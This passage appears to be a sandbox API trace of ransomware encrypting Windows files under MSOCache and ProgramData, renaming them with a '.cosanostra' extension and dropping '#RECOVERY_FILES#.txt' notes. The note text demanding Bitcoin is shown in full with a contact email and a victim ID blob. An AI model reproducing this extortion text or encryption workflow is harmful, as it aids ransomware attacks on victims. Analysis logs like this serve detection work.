lpOverlapped=0x0) returned 1 [0078.120] WriteFile (in: hFile=0x154, lpBuffer=0x25cbb8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x25cbb8*, lpNumberOfBytesWritten=0x2abfb04*=0x30, lpOverlapped=0x0) returned 1 [0078.120] CloseHandle (hObject=0x154) returned 1 [0078.122] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.cosanostra") returned 89 [0078.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.cosanostra")) returned 1 [0078.123] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb48 | out: pbBuffer=0x2abfb48) returned 1 [0078.123] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb40*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb40*=0x30) returned 1 [0078.123] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.139] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 76 [0078.139] StrStrW (lpFirst="setup.chm", lpSrch=".txt") returned 0x0 [0078.139] ReadFile (in: hFile=0x154, lpBuffer=0x27d830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesRead=0x2abfb04*=0x2800, lpOverlapped=0x0) returned 1 [0078.241] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.242] WriteFile (in: hFile=0x154, lpBuffer=0x27d830*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesWritten=0x2abfb04*=0x2800, lpOverlapped=0x0) returned 1 [0078.244] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.244] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x2abfb44*, lpNumberOfBytesWritten=0x2abfb04*=0x4, lpOverlapped=0x0) returned 1 [0078.261] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfb04*=0x30, lpOverlapped=0x0) returned 1 [0078.261] CloseHandle (hObject=0x154) returned 1 [0078.263] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.cosanostra") returned 87 [0078.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.cosanostra")) returned 1 [0078.264] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb40 | out: pbBuffer=0x2abfb40) returned 1 [0078.264] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb38*=0x30) returned 1 [0078.264] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.264] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 83 [0078.264] StrStrW (lpFirst="OfficeMUISet.xml", lpSrch=".txt") returned 0x0 [0078.265] ReadFile (in: hFile=0x154, lpBuffer=0x27d830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesRead=0x2abfafc*=0x333, lpOverlapped=0x0) returned 1 [0078.320] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.320] WriteFile (in: hFile=0x154, lpBuffer=0x27d830*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesWritten=0x2abfafc*=0x333, lpOverlapped=0x0) returned 1 [0078.320] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.320] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x2abfb3c*, lpNumberOfBytesWritten=0x2abfafc*=0x4, lpOverlapped=0x0) returned 1 [0078.320] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfafc*=0x30, lpOverlapped=0x0) returned 1 [0078.320] CloseHandle (hObject=0x154) returned 1 [0078.323] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.cosanostra") returned 94 [0078.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.cosanostra")) returned 1 [0078.323] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb40 | out: pbBuffer=0x2abfb40) returned 1 [0078.323] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb38*=0x30) returned 1 [0078.323] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.324] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 80 [0078.324] StrStrW (lpFirst="OfficeMUI.xml", lpSrch=".txt") returned 0x0 [0078.324] ReadFile (in: hFile=0x154, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x2abfafc*=0x15b5, lpOverlapped=0x0) returned 1 [0078.398] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffea4b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.398] WriteFile (in: hFile=0x154, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x2abfafc*=0x15b5, lpOverlapped=0x0) returned 1 [0078.399] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.399] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x2abfb3c*, lpNumberOfBytesWritten=0x2abfafc*=0x4, lpOverlapped=0x0) returned 1 [0078.399] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfafc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfafc*=0x30, lpOverlapped=0x0) returned 1 [0078.399] CloseHandle (hObject=0x154) returned 1 [0078.401] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.cosanostra") returned 91 [0078.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.cosanostra")) returned 1 [0078.403] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb38 | out: pbBuffer=0x2abfb38) returned 1 [0078.403] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb30*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb30*=0x30) returned 1 [0078.404] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.404] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 79 [0078.404] StrStrW (lpFirst="OfficeLR.cab", lpSrch=".txt") returned 0x0 [0078.404] ReadFile (in: hFile=0x154, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfaf4, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x2abfaf4*=0x2800, lpOverlapped=0x0) returned 1 [0078.406] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.406] WriteFile (in: hFile=0x154, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfaf4, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x2abfaf4*=0x2800, lpOverlapped=0x0) returned 1 [0078.406] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.406] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfaf4, lpOverlapped=0x0 | out: lpBuffer=0x2abfb34*, lpNumberOfBytesWritten=0x2abfaf4*=0x4, lpOverlapped=0x0) returned 1 [0078.411] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfaf4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfaf4*=0x30, lpOverlapped=0x0) returned 1 [0078.411] CloseHandle (hObject=0x154) returned 1 [0079.195] wnsprintfW (in: pszDest=0x28e718, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.cosanostra") returned 90 [0079.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.cosanostra")) returned 1 [0079.196] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.197] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.197] WriteFile (in: hFile=0x154, lpBuffer=0x2abf9d3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb94, lpOverlapped=0x0 | out: lpBuffer=0x2abf9d3*, lpNumberOfBytesWritten=0x2abfb94*=0x1bf, lpOverlapped=0x0) returned 1 [0079.198] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.198] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb94, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb94*=0x2ac, lpOverlapped=0x0) returned 1 [0079.198] CloseHandle (hObject=0x154) returned 1 [0079.198] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb30 | out: pbBuffer=0x2abfb30) returned 1 [0079.198] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb28*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb28*=0x30) returned 1 [0079.198] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.198] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.198] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0079.199] ReadFile (in: hFile=0x154, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfaec, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x2abfaec*=0x2800, lpOverlapped=0x0) returned 1 [0079.272] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.273] WriteFile (in: hFile=0x154, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfaec, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x2abfaec*=0x2800, lpOverlapped=0x0) returned 1 [0079.273] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.273] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfaec, lpOverlapped=0x0 | out: lpBuffer=0x2abfb2c*, lpNumberOfBytesWritten=0x2abfaec*=0x4, lpOverlapped=0x0) returned 1 [0079.323] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfaec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfaec*=0x30, lpOverlapped=0x0) returned 1 [0079.323] CloseHandle (hObject=0x154) returned 1 [0079.325] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0079.325] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0079.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.327] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.327] WriteFile (in: hFile=0x154, lpBuffer=0x2abf9cb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb8c, lpOverlapped=0x0 | out: lpBuffer=0x2abf9cb*, lpNumberOfBytesWritten=0x2abfb8c*=0x1bf, lpOverlapped=0x0) returned 1 [0079.328] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.328] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb8c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb8c*=0x2ac, lpOverlapped=0x0) returned 1 [0079.328] CloseHandle (hObject=0x154) returned 1 [0079.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.328] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.328] WriteFile (in: hFile=0x154, lpBuffer=0x2abf9c7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb88, lpOverlapped=0x0 | out: lpBuffer=0x2abf9c7*, lpNumberOfBytesWritten=0x2abfb88*=0x1bf, lpOverlapped=0x0) returned 1 [0079.329] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.329] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb88, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb88*=0x2ac, lpOverlapped=0x0) returned 1 [0079.330] CloseHandle (hObject=0x154) returned 1 [0079.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.330] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.330] WriteFile (in: hFile=0x154, lpBuffer=0x2abf9c3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb84, lpOverlapped=0x0 | out: lpBuffer=0x2abf9c3*, lpNumberOfBytesWritten=0x2abfb84*=0x1bf, lpOverlapped=0x0) returned 1 [0079.331] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.331] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, 